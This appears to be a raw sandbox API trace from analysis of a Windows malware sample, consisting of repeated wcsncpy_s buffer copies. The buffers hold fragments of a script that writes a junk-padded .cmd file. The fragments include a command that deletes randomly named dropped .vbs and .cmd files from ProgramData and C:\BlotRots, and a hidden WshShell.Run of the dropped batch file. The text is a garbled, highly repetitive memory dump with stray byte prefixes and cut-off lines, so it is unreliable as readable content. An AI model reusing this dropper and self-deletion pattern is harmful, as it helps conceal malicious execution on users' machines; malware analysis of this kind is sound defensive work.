Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e7ee, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e8d8, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e91e, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44e9c2, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ea08, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ea4e, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44eb2e, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0155.907] wcsncpy_s (in: _Destination=0x249ca44ec30, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nŶITextStream.WriteLine(\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\");\r\n,ITextStream.Close();\r\n,IHost.Sleep(\"7000\");\r\n\x96IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 